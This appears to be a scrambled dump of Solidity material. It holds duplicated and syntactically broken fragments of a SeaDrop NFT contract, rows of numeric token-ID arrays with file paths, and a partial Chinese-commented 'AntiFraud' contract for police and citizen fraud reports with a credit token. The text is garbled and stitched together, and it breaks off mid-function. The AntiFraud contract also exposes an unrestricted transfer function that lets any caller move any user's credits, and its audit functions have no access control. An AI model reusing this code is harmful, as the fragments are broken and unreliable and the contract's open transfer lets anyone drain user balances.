supplied.feeBps = retrieved.feeBps; supplied.restrictFeeRecipients = true; .maxTotalMintableByWallet; retrieved.maxTotalMintableByWallet = maxTotalMintableByWallet > 0 ? maxTotalMintableByWallet : 1; retrieved.feeBps = supplied.feeBps; retrieved.restrictFeeRecipients = true; supplied = retrieved; } } function updateTokenGatedDrop( address seaDropImpl, address allowedNftToken, TokenGatedDropStage calldata dropStage ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); TokenGatedDropStage memory retrieved = ISeaDrop(seaDropImpl) .getTokenGatedDrop(address(this), allowedNftToken); TokenGatedDropStage memory supplied = dropStage; if (msg.sender != administrator) { if (retrieved.maxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.feeBps = retrieved.feeBps; supplied.restrictFeeRecipients = true; .maxTotalMintableByWallet; retrieved.maxTotalMintableByWallet = maxTotalMintableByWallet > 0 ? maxTotalMintableByWallet : 1; retrieved.feeBps = supplied.feeBps; retrieved.restrictFeeRecipients = true; supplied = retrieved; } } function updateTokenGatedDrop( address seaDropImpl, address allowedNftToken, TokenGatedDropStage calldata dropStage ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); TokenGatedDropStage memory retrieved = ISeaDrop(seaDropImpl) .getTokenGatedDrop(address(this), allowedNftToken); TokenGatedDropStage memory supplied = dropStage; if (msg.sender != administrator) { if (retrieved.maxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.feeBps = retrieved.feeBps; supplied.restrictFeeRecipients = true; .maxTotalMintableByWallet; retrieved.maxTotalMintableByWallet = maxTotalMintableByWallet > 0 ? maxTotalMintableByWallet : 1; retrieved.feeBps = supplied.feeBps; retrieved.restrictFeeRecipients = true; supplied = retrieved; } } } else { uint16 maxTotalMintableByWallet = retrieved ISeaDrop(seaDropImpl).updateTokenGatedDrop(allowedNftToken, supplied); function updateDropURI(address seaDropImpl, string calldata dropURI) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); ISeaDrop(seaDropImpl).updateDropURI(dropURI); } function updateAllowedFeeRecipient( address seaDropImpl, address feeRecipient, bool allowed ) external override onlyAdministrator { _onlyAllowedSeaDrop(seaDropImpl); ISeaDrop(seaDropImpl).updateAllowedFeeRecipient(feeRecipient, allowed); } function updateSignedMintValidationParams( address seaDropImpl, address signer, SignedMintValidationParams memory signedMintValidationParams ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); SignedMintValidationParams memory retrieved = ISeaDrop(seaDropImpl) .getSignedMintValidationParams(address(this), signer); SignedMintValidationParams memory supplied = signedMintValidationParams; if (msg.sender != administrator) { if (retrieved.maxMaxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.minFeeBps = retrieved.minFeeBps; supplied.maxFeeBps = retrieved.maxFeeBps; .maxMaxTotalMintableByWallet; retrieved .maxMaxTotalMintableByWallet = maxMaxTotalMintableByWallet > 0 ? maxMaxTotalMintableByWallet : 1; retrieved.minFeeBps = supplied.minFeeBps; retrieved.maxFeeBps = supplied.maxFeeBps; supplied = retrieved; } signer, supplied ); } function updateSignedMintValidationParams( address seaDropImpl, address signer, SignedMintValidationParams memory signedMintValidationParams ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); SignedMintValidationParams memory retrieved = ISeaDrop(seaDropImpl) .getSignedMintValidationParams(address(this), signer); SignedMintValidationParams memory supplied = signedMintValidationParams; if (msg.sender != administrator) { if (retrieved.maxMaxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.minFeeBps = retrieved.minFeeBps; supplied.maxFeeBps = retrieved.maxFeeBps; .maxMaxTotalMintableByWallet; retrieved .maxMaxTotalMintableByWallet = maxMaxTotalMintableByWallet > 0 ? maxMaxTotalMintableByWallet : 1; retrieved.minFeeBps = supplied.minFeeBps; retrieved.maxFeeBps = supplied.maxFeeBps; supplied = retrieved; } signer, supplied ); } function updateSignedMintValidationParams( address seaDropImpl, address signer, SignedMintValidationParams memory signedMintValidationParams ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); SignedMintValidationParams memory retrieved = ISeaDrop(seaDropImpl) .getSignedMintValidationParams(address(this), signer); SignedMintValidationParams memory supplied = signedMintValidationParams; if (msg.sender != administrator) { if (retrieved.maxMaxTotalMintableByWallet == 0) { revert AdministratorMustInitializeWithFee(); } supplied.minFeeBps = retrieved.minFeeBps; supplied.maxFeeBps = retrieved.maxFeeBps; .maxMaxTotalMintableByWallet; retrieved .maxMaxTotalMintableByWallet = maxMaxTotalMintableByWallet > 0 ? maxMaxTotalMintableByWallet : 1; retrieved.minFeeBps = supplied.minFeeBps; retrieved.maxFeeBps = supplied.maxFeeBps; supplied = retrieved; } signer, supplied ); } } else { uint24 maxMaxTotalMintableByWallet = retrieved ISeaDrop(seaDropImpl).updateSignedMintValidationParams( function updatePayer( address seaDropImpl, address payer, bool allowed ) external virtual override onlyOwnerOrAdministrator { _onlyAllowedSeaDrop(seaDropImpl); ISeaDrop(seaDropImpl).updatePayer(payer, allowed); } }
8,465,674
[ 1, 654, 39, 27, 5340, 1988, 1224, 1761, 69, 7544, 225, 804, 753, 678, 275, 94, 292, 261, 351, 83, 18, 546, 13, 225, 534, 93, 304, 611, 76, 369, 87, 261, 23811, 92, 94, 18, 546, 13, 225, 7780, 10499, 5444, 261, 334, 73, 10499, 81, 18, 546, 13, 225, 4232, 39, 27, 5340, 1988, 1224, 1761, 69, 7544, 353, 279, 1147, 6835, 716, 1914, 2590, 540, 358, 8214, 16592, 598, 3265, 69, 7544, 16, 598, 3312, 30162, 1535, 540, 14176, 5798, 7653, 364, 13160, 8433, 6740, 19170, 329, 540, 312, 28142, 598, 3397, 17, 5639, 19602, 87, 316, 3166, 3086, 2795, 1087, 606, 18, 540, 1021, 315, 5541, 6, 1410, 3325, 312, 474, 2923, 87, 4123, 487, 6205, 471, 787, 18, 540, 1021, 315, 4446, 14207, 6, 1410, 3325, 14036, 1472, 18, 540, 5272, 16, 364, 28769, 434, 3981, 4218, 16, 3344, 16837, 578, 7807, 14207, 540, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 27, 5340, 1988, 1224, 1761, 69, 7544, 353, 4232, 39, 27, 5340, 1761, 69, 7544, 16, 16896, 4160, 4446, 1249, 329, 288, 203, 565, 555, 7807, 14207, 10136, 7520, 1190, 14667, 5621, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 508, 16, 203, 3639, 533, 3778, 3273, 16, 203, 3639, 1758, 22330, 16, 203, 3639, 1758, 8526, 3778, 2935, 1761, 69, 7544, 203, 565, 262, 203, 3639, 4232, 39, 27, 5340, 1761, 69, 7544, 12, 529, 16, 3273, 16, 2935, 1761, 69, 7544, 13, 203, 3639, 16896, 4160, 4446, 1249, 329, 12, 3666, 14207, 13, 203, 203, 565, 445, 312, 474, 1761, 69, 7544, 12, 2867, 1131, 387, 16, 2254, 5034, 10457, 13, 203, 3639, 3903, 203, 3639, 5024, 203, 3639, 3849, 203, 5666, 288, 16896, 4160, 4446, 1249, 329, 289, 628, 315, 1367, 560, 17, 16351, 87, 19, 11710, 4160, 4446, 1249, 329, 18, 18281, 14432, 203, 565, 2618, 203, 565, 288, 203, 3639, 389, 3700, 5042, 1761, 69, 7544, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 309, 261, 67, 4963, 49, 474, 329, 1435, 397, 10457, 405, 943, 3088, 1283, 10756, 288, 203, 5411, 15226, 490, 474, 12035, 424, 5288, 87, 2747, 3088, 1283, 12, 203, 7734, 389, 4963, 49, 474, 329, 1435, 397, 10457, 16, 203, 7734, 943, 3088, 1283, 1435, 203, 5411, 11272, 203, 3639, 289, 203, 203, 565, 289, 203, 203, 565, 288, 203, 3639, 389, 3700, 5042, 1761, 69, 7544, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 309, 261, 67, 4963, 49, 2 ]
./partial_match/1/0x9490CCf93Cd750dc47f72402A163022cfB94CFC9/sources/contracts/vaults/TreasuryVault/RibbonAutocallVault.sol
Commit and close enhanced put
_commitAndCloseEnhancedPut(expiry, strikePrice);
3,540,639
[ 1, 5580, 471, 1746, 29865, 1378, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 7371, 1876, 4605, 664, 17221, 6426, 12, 22409, 16, 609, 2547, 5147, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42220/0x9f6dac2D571d8f727D762c82af240A170C42193A/sources/lib/mento-core/contracts/BiPoolManager.sol
* @notice Execute a swap against the in memory exchange and write the new bucket sizes to storage. @param exchangeId The id of the exchange @param exchange The exchange to operate on @param tokenIn The token to be sold @param amountIn The amount of tokenIn to be sold @param amountOut The amount of tokenOut to be bought @param bucketsUpdated wether the buckets updated during the swap/ solhint-disable-next-line not-rely-on-time
function executeSwap( bytes32 exchangeId, PoolExchange memory exchange, address tokenIn, uint256 amountIn, uint256 amountOut, bool bucketsUpdated ) internal { if (bucketsUpdated) { exchanges[exchangeId].lastBucketUpdate = now; emit BucketsUpdated(exchangeId, exchange.bucket0, exchange.bucket1); } if (tokenIn == exchange.asset0) { exchanges[exchangeId].bucket0 = exchange.bucket0.add(amountIn); exchanges[exchangeId].bucket1 = exchange.bucket1.sub(amountOut); exchanges[exchangeId].bucket0 = exchange.bucket0.sub(amountOut); exchanges[exchangeId].bucket1 = exchange.bucket1.add(amountIn); } }
16,325,093
[ 1, 5289, 279, 7720, 5314, 326, 316, 3778, 7829, 471, 1045, 326, 394, 2783, 8453, 358, 2502, 18, 225, 7829, 548, 1021, 612, 434, 326, 7829, 225, 7829, 1021, 7829, 358, 20829, 603, 225, 1147, 382, 1021, 1147, 358, 506, 272, 1673, 225, 3844, 382, 1021, 3844, 434, 1147, 382, 358, 506, 272, 1673, 225, 3844, 1182, 1021, 3844, 434, 1147, 1182, 358, 506, 800, 9540, 225, 9169, 7381, 341, 2437, 326, 9169, 3526, 4982, 326, 7720, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 486, 17, 266, 715, 17, 265, 17, 957, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1836, 12521, 12, 203, 565, 1731, 1578, 7829, 548, 16, 203, 565, 8828, 11688, 3778, 7829, 16, 203, 565, 1758, 1147, 382, 16, 203, 565, 2254, 5034, 3844, 382, 16, 203, 565, 2254, 5034, 3844, 1182, 16, 203, 565, 1426, 9169, 7381, 203, 225, 262, 2713, 288, 203, 565, 309, 261, 20700, 7381, 13, 288, 203, 1377, 431, 6329, 63, 16641, 548, 8009, 2722, 4103, 1891, 273, 2037, 31, 203, 1377, 3626, 7408, 87, 7381, 12, 16641, 548, 16, 7829, 18, 7242, 20, 16, 7829, 18, 7242, 21, 1769, 203, 565, 289, 203, 203, 565, 309, 261, 2316, 382, 422, 7829, 18, 9406, 20, 13, 288, 203, 1377, 431, 6329, 63, 16641, 548, 8009, 7242, 20, 273, 7829, 18, 7242, 20, 18, 1289, 12, 8949, 382, 1769, 203, 1377, 431, 6329, 63, 16641, 548, 8009, 7242, 21, 273, 7829, 18, 7242, 21, 18, 1717, 12, 8949, 1182, 1769, 203, 1377, 431, 6329, 63, 16641, 548, 8009, 7242, 20, 273, 7829, 18, 7242, 20, 18, 1717, 12, 8949, 1182, 1769, 203, 1377, 431, 6329, 63, 16641, 548, 8009, 7242, 21, 273, 7829, 18, 7242, 21, 18, 1289, 12, 8949, 382, 1769, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// 反诈系统的智能合约 // 参考拍卖系统实现 // SPDX-License-Identifier: MIT pragma solidity >=0.4.21 <0.9.0; // import "./TokenERC20.sol"; contract AntiFraud { // 创建完成后所有积分归创建者所有 // 积分发行 -> 由创建者账户转入对应用户账户 // 总积分发行量 uint256 totalCredit; // 创建者地址 address administrator; // 余额 mapping(address => uint) balanceOf; // 警方用户辅助编号 -> 生成警方用户id uint policeIndex; // 市民用户辅助编号 -> 生成市民用户id uint civilIndex; // 案件资料辅助编号 -> 生成案件资料id uint screenshotIndex; // 案件辅助编号 -> 生成案件id uint caseIndex; // 任务辅助编号 -> 生成任务id uint taskIndex; // 帖子辅助编号 -> 生成帖子id uint postsIndex; constructor() { totalCredit = 100; // Solidity中msg.sender代表合约调用者地址。一个智能合约既可以被合约创建者调用,也可以被其它人调用。 administrator = msg.sender; // 发币 balanceOf[msg.sender] = totalCredit; // 所有辅助编号初始化为0 policeIndex = 0; civilIndex = 0; screenshotIndex = 0; caseIndex = 0; taskIndex = 0; postsIndex = 0; } // get余额 function _getBalanceOf(address _userAdd) internal view returns (uint) { return (balanceOf[_userAdd]); } function getBalanceOf(address _userAdd) external view returns (uint) { return _getBalanceOf(_userAdd); } // 转币 function _transfer(address _from, address _to, uint _val) internal returns (bool) { bool success = false; if (balanceOf[_from] >= _val) { balanceOf[_from] -= _val; balanceOf[_to] += _val; success = true; } return success; } function transfer(address _from, address _to, uint _val) external returns (bool) { return _transfer(_from, _to, _val); } // // get积分余额 // function getBalanceOf(address _contractAdd, address _userAdd) external view returns (uint) { // return ERC20Basic(_contractAdd).balanceOf(_userAdd); // } // // 授权 // function creditApprove(address _contractAdd, address _approver, uint _val) external { // ERC20Basic(_contractAdd).approve(_approver, _val); // } // // 转积分 // function creditTransfer(address _contractAdd, address _reciver, uint _val) external returns (bool) { // return ERC20Basic(_contractAdd).transfer(_reciver, _val); // } // // call调用转积分 // function callTransfer(address _contractAdd) external { // (bool success) = _contractAdd.call( // abi.encodeWithSignature( // "transfer(address,uint256)", 0xF58E5Fdda92689241C6114b9746AEE529fB7671C, 1 // ) // ); // require(success, "failed"); // } // 警用结构体 struct Police { // 警方用户id uint id; // 警方用户姓名 string name; // 头像 string avatarLink; } // 地址转换 // mapping(uint => address) policeIdToAddress; // 储存所有警方用户的映射 mapping(address => Police) policeList; // get警方用户 function getPoliceUser(address _policeUserAddress) external view returns (uint, string memory, string memory) { Police memory police = policeList[_policeUserAddress]; require(police.id != 0, "User Not Found"); return (police.id, police.name, police.avatarLink); } // 注册警方用户 function createPoliceUser(string memory _name, string memory _avatarLink) external { // 加入警方用户列表 Police storage police = policeList[msg.sender]; // 警方id设定为辅助编号 police.id = ++policeIndex; // 设定用户名 police.name = _name; // 设定头像 police.avatarLink = _avatarLink; } // 民用结构体 struct Civil { // 市民用户id uint id; // 市民用户姓名 string name; // 头像 string avatarLink; } // 储存所有市民用户的映射 mapping(address => Civil) civilList; // get市民用户 function getCivilUser(address _civilUserAddress) external view returns (uint, string memory, string memory) { Civil memory civil = civilList[_civilUserAddress]; require(civil.id != 0, "User Not Found"); return (civil.id, civil.name, civil.avatarLink); } // 注册市民用户 function createCivilUser(string memory _name, string memory _avatarLink) external { // 加入市民用户列表 Civil storage civil = civilList[msg.sender]; // 市民id设定为辅助编号 civil.id = ++civilIndex; // 设定用户名 civil.name = _name; // 设定头像 civil.avatarLink = _avatarLink; } // 案件资料结构体 // 只需市民用户上传截图 警方用户进行审核 struct FraudScreenshot { // 资料id uint id; // 审核案件的警方用户地址 address auditPoliceUser; // 案件图片ipfs链接 string[] screenshotLink; // 案件是否有效(由警方进行判断) bool isValid; // 上传时间 uint postTime; } // 储存资料(id)与发布市民用户地址的映射 mapping(uint => address) screenshotIdToPostCivilUser; // 储存市民的案件资料的映射 mapping(address => FraudScreenshot[]) screenshotList; // 储存民警审核过的截图 mapping(address => FraudScreenshot[]) historyScreenshotAudit; // 所有截图 mapping(uint => FraudScreenshot) allSList; // 上传案件资料 function postScreenshot(string[] memory _screenshotLink) external { // 设置案件的发布用户地址 screenshotIdToPostCivilUser[screenshotIndex] = msg.sender; FraudScreenshot memory fraudScreenshot; // 资料id设定为辅助编号 fraudScreenshot.id = screenshotIndex; // 设定审核资料的警方用户地址为空 fraudScreenshot.auditPoliceUser = address(0); // 资料上传时间设定为当前时间 fraudScreenshot.postTime = block.timestamp; // 资料截图 fraudScreenshot.screenshotLink = _screenshotLink; // 截图发布时设定为无效 经审核后变为有效 fraudScreenshot.isValid = false; // 将截图加入市民截图列表 screenshotList[msg.sender].push(fraudScreenshot); // 将截图额加入所有截图列表 allSList[screenshotIndex] = fraudScreenshot; // 增加案件资料辅助编号 screenshotIndex++; } // get案件截图列表 function getScreenshotList() external view returns (FraudScreenshot[] memory) { // require(screenshotIndex > 0, "No Screenshot Found"); // 初始化返回数组 FraudScreenshot[] memory _List = new FraudScreenshot[](screenshotIndex); // // 返回某个市民的全部截图 // FraudScreenshot memory screenshot; // address _address; // // TODO i < address数 // //测试情况下只有一台 简化情况为address = 1 // for (uint i = 0; i < 1; i++) { // _address = screenshotIdToPostCivilUser[i]; // for (uint j = 0; j < screenshotList[_address].length; j++) { // screenshot = screenshotList[_address][j]; // _List[j] = screenshot; // } // } for (uint i = 0; i < screenshotIndex; i++) { _List[i] = allSList[i]; } return (_List); } // get自己的历史上传 function getHistoryPost() external view returns (FraudScreenshot[] memory) { // require(screenshotIndex > 0, "No Screenshot Found"); return screenshotList[msg.sender]; } // get自己的历史审核 function getHistoryAudit() external view returns (FraudScreenshot[] memory) { // require(screenshotIndex > 0, "No Screenshot Found"); return historyScreenshotAudit[msg.sender]; } // 审核案件资料截图 function auditScreenshot(uint[] memory _screenshotIndex, bool[] memory _isVaild) external { for (uint i = 0; i < _screenshotIndex.length; i++) { require(_screenshotIndex[i] <= screenshotIndex, "Screenshot Not Exists"); // 设定案件是否有效 allSList[_screenshotIndex[i]].isValid = _isVaild[i]; // 设定审核警方用户 allSList[_screenshotIndex[i]].auditPoliceUser = msg.sender; // TODO 更新市民历史上传状态 // 加入民警历史审核 historyScreenshotAudit[msg.sender].push(allSList[_screenshotIndex[i]]); // 进行审核的警方用户获得积分+2 _transfer(administrator, msg.sender, 2); // 审核有效后 市民用户获得积分+5 if (_isVaild[i]) { _transfer(administrator, screenshotIdToPostCivilUser[_screenshotIndex[i]], 5); } } } // 案件结构体 // 由警方用户发布 成功上传可获得积分 struct FraudCase { // 案件id uint id; // 案件标题 string title; // 案件类型 string tag; // 案件描述 string description; // 发布时间 uint postTime; // 案件图片ipfs链接 string[] caseImageLink; // 案件状态表 // 0:已被否决(社区高票否决/民警复核否决) // 1:已提交(社区投票中) // 2:已通过社区审核(民警复核中) // 3:未通过社区审核(民警复核中) // 4:已完成 (民警复核通过/社区高票直接通过) uint state; } // 储存案件(id)与发布用户的映射 mapping(uint => address) caseIdToPostUser; // 储存每个用户与案件的映射 mapping(address => FraudCase[]) caseList; // 历史审核 mapping(address => FraudCase[]) historyCaseAudit; // 储存所有案件的映射 mapping(uint => FraudCase) allCaseList; // 发布案件 -> 类比拍卖系统的发布商品 function postCase(string memory _title, string memory _tag, string memory _description, string[] memory _caseImageLink) external { // 将案件加入案件列表 FraudCase memory fraudCase; // 案件id设定为辅助编号 fraudCase.id = caseIndex; // 案件发布时间设定为当前时间 fraudCase.postTime = block.timestamp; fraudCase.title = _title; fraudCase.tag = _tag; fraudCase.description = _description; // 案件截图 fraudCase.caseImageLink = _caseImageLink; // 设置进度 fraudCase.state = 1; // 设置案件的发布用户地址 caseIdToPostUser[caseIndex] = msg.sender; // 加入用户案件列表 caseList[msg.sender].push(fraudCase); // 将案件加入案件总列表 allCaseList[caseIndex] = fraudCase; // 增加案件辅助编号 caseIndex++; } // get案件列表 function getCase() external view returns (FraudCase[] memory) { // require(caseIndex > 0, "No Case Found"); FraudCase[] memory _List = new FraudCase[](caseIndex); for (uint i = 0; i < caseIndex; i++) { _List[i] = allCaseList[i]; } return (_List); } // 社区投票 // 记录每个案件的票数 案件编号 => 得票数 mapping(uint => int) voteCountOfCase; // 记录每个案件的总的票数 mapping(uint => uint) totalVotedOfCase; // 记录该地址是否已投票 mapping(uint => mapping(address => bool)) isVotedThisAddress; // 返回当前地址是否已投票 function getIsVoted(uint _caseIndex) external view returns (bool) { return isVotedThisAddress[_caseIndex][msg.sender]; } // get得票数 function getVoteCountOf(uint _caseIndex) external view returns (int, uint) { require(_caseIndex <= caseIndex, "Case Not Exists"); return (voteCountOfCase[_caseIndex], totalVotedOfCase[_caseIndex]); } // 投票 function vote(uint _caseIndex, bool isValid) external { require(isVotedThisAddress[_caseIndex][msg.sender] == false, "Has voted"); require(_caseIndex <= caseIndex, "Case Not Exists"); isVotedThisAddress[_caseIndex][msg.sender] = true; totalVotedOfCase[_caseIndex]++; if (isValid) { voteCountOfCase[_caseIndex]++; } else { voteCountOfCase[_caseIndex]--; } _countCheck(20, _caseIndex); // 市民成功投票获得积分+1 _transfer(administrator, msg.sender, 1); } // 票数判断 function _countCheck(int _checkValue, uint _caseIndex) internal { int count = voteCountOfCase[_caseIndex]; // 每获得一次投票更新状态 uint _state; if (count > _checkValue) { // 大于检测值直接通过 _state = 4; } else if (count < -_checkValue) { // 小于检测值直接否决 _state = 0; } else if (count > 0 && count <= _checkValue) { // 得票大于0小于检测值 _state = 2; } else { // 得票小于等于0大于-检测值 _state = 3; } allCaseList[_caseIndex].state = _state; } // 审核案件 function auditCase(uint[] memory _caseIndex, bool[] memory isValid) external { for (uint i = 0; i < _caseIndex.length; i++) { require(_caseIndex[i] <= caseIndex, "Case Not Exists"); // require(allCaseList[_caseIndex].state == 2 || allCaseList[_caseIndex].state == 3); if (isValid[i]) { allCaseList[_caseIndex[i]].state = 4; // 通过审核后发布人获得积分+10 _transfer(administrator, caseIdToPostUser[_caseIndex[i]], 10); } else { allCaseList[_caseIndex[i]].state = 0; } // 加入历史审核 historyCaseAudit[msg.sender].push(allCaseList[_caseIndex[i]]); // 负责审核警方获得积分+2 _transfer(administrator, msg.sender, 2); } } // get自己的历史案件审核 function getHistoryCaseAudit() external view returns (FraudCase[] memory) { // require(caseIndex > 0, "No Case Found"); return historyCaseAudit[msg.sender]; } // 任务结构体 // 由警方用户发布 参与协助的其他警方用户可获得积分 struct Task { // 任务id uint id; // 任务标题 string title; // 任务描述 string description; // 发布时间 uint postTime; // 回答数 抢答固定为1 uint answerCount; // 任务是否已经解决 bool isSolved; // 任务图片ipfs链接 string[] taskImageLink; // 任务形式:true抢答制 false采纳制 bool isAnswerInRush; // 抢答制下任务是否已被接受 bool isAccept; } // 储存任务(id)与发布警方用户的映射 mapping(uint => address) taskIdToPostPoliceUser; // 储存警方与任务的映射 mapping(address => Task[]) taskList; // 储存所有任务的映射 mapping(uint => Task) allTaskList; // 发布任务 -> 类比拍卖系统的发布商品 // 1.抢答式:需要抢答人支付抵押金 成功完成后退回 // 2.采纳式:不需要抵押金 由发布者自行采纳回答 允许多人同时作答 function postTask(string memory _title, string memory _description, string[] memory _taskImageLink, bool _isAnswerInRush) external { // 将任务加入任务列表 Task memory task; // 任务编号设定为辅助编号 task.id = taskIndex; // 任务发布时间设定为当前时间 task.postTime = block.timestamp; task.title = _title; task.description = _description; task.answerCount = 0; // 任务图片 task.taskImageLink = _taskImageLink; // 任务发布时设定为未解决 task.isSolved = false; // 设定任务类型 task.isAnswerInRush = _isAnswerInRush; // 设定为未接受状态 task.isAccept = false; // 设置任务的发布用户地址 taskIdToPostPoliceUser[taskIndex] = msg.sender; // 加入警方案件列表 taskList[msg.sender].push(task); // 将任务加入所有任务列表 allTaskList[taskIndex] = task; // 增加任务辅助编号 taskIndex++; } // get任务列表 function getTask() external view returns (Task[] memory) { // require(taskIndex > 0, "No Task Found"); Task[] memory _List = new Task[](taskIndex); for (uint i = 0; i < taskIndex; i++) { _List[i] = allTaskList[i]; } return (_List); } // 储存任务id与抢答者地址的映射 mapping(uint => address) taskIdToAnswerRusher; // 抢答任务 function acceptTask(uint _taskIndex) external { allTaskList[_taskIndex].isAccept = true; allTaskList[_taskIndex].answerCount = 1; // 设置抢答者地址 taskIdToAnswerRusher[_taskIndex] = msg.sender; // 抢答者账户向创建者账户转入抵押金-2 _transfer(msg.sender, administrator, 2); } // 提交任务的回答 struct TaskAnswer { // 回答id uint id; // 内容详情 string detail; // 回答提交时间 uint postTime; // 作答者地址 address answerAddress; } // 储存任务(id)的回答 mapping (uint => TaskAnswer[]) answerList; // 提交回答 function postTaskAnswer(uint _taskIndex, string memory _detail) external { // 将回答加入该任务对应的回答列表 